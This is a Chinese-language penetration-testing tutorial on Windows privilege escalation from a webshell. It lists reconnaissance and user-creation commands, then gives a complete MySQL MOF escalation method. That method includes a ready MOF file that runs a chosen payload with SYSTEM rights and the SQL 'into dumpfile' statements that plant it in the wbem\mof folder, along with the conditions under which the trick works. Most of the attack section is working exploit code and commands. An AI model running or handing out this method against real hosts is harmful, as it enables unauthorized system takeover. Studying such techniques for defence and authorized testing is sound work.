为什么要提权?
答:因为webshell的权限一般是继承中间件的权限,此时就需要提高到系统管理员权限才方便进一步渗透。一般java中间件运行权限最高。
Windows提权常用命令
内置组:
Administrators(管理员组)
Guests (来宾组,权限最低,默认禁止)
Users(新建用户组)
net user 查看所有用户信息
net user + 用户名 查看此用户信息
net user + 用户名 /del 删除此用户
net user + 用户名+密码 /add 添加用户
net localgroup 查看组
net localgroup + 组名 查看组成员
net localgroup + 组名 +用户名 /add 将该用户增加到指定组里
whoami /all 查看当前用户详细信息
hostname 主机名
systeminfo 系统信息
net start 查看开启的服务
query user 获取在线用户
netstat -ano 获取网络连接
dir c:\progamdata 分析安装了哪些杀软,因为一般杀软会把一些信息放在这个目录
tasklist /svc | find +服务名 查看进程中服务的pid
netstat -ano | find "pid" 定位端口
wmic qfe get Caption,Description,HotFixID,InstalledOn #列出已安装的补丁
1.什么是MOF?
MOF 文件是 mysql 数据库的扩展(C:\WINDOWS\system32\wbem\mof)叫做”托管对象格式”,其作用是每隔60s就会去监控进程创建和死亡,因为 MOF 文件每60s就会执行,且是系统权限,所以如果我们有权限替换原有的MOF文件,就能获得 system 权限。
2. MOF提权条件
Windows <= 2003
mysql 数据库的账号,且账号有写入权限mysql
在C:\WINDOWS\system32\wbem\mof目录有写入权限
3.一般方法
3.1有webshell
新建一个 test.mof 文件,内容如下
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"payload\")";\\将想要执行的payload写在这即可
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
将该文件利用webshell上传到目标主机中,然后执行以下命令
这里只能用 into dumpfile,不能用 into outfile,因为 into outfile函数会在行末端写入新行,更致命的是会转义换行符,这样的话这个二进制可执行文件就会被破坏
select load_file('C:\\phpStudy\\PHPTutorial\\WWW\\DVWA\\user.mof') into dumpfile 'C:\\WINDOWS\\system32\\wbem\\mof\\user.mof';
3.2无webshell但能链接数据库
将创建的test.mof文件十六进制编码(ascii)后用sql语句写入
select 十六进制代码(ascii代码) into dumpfile 'C:\\WINDOWS\\system32\\wbem\\mof\\test.mof';
简单总结
- 可以利用 msf 的exploit/windows/mysql/mysql_mof模块进行自动化提权
- 成功执行的文件会在C:\WINDOWS\system32\wbem\mof\good目录中,
失败在C:\WINDOWS\system32\wbem\mof\bad目录中 - 查看mysql配置文件(Windows下为my.ini, Linux下的my.cnf)secure_file_priv的值可以知道mysql是否具有写入权限
show global variables like 'secure%';
当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权,tmp也可以改成其他
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权
在mysql5.5之前 secure_file_priv默认是空,这个情况下可以向任意绝对路径写文件
在mysql5.5之后 secure_file_priv默认是NULL,这个情况下不可以写文件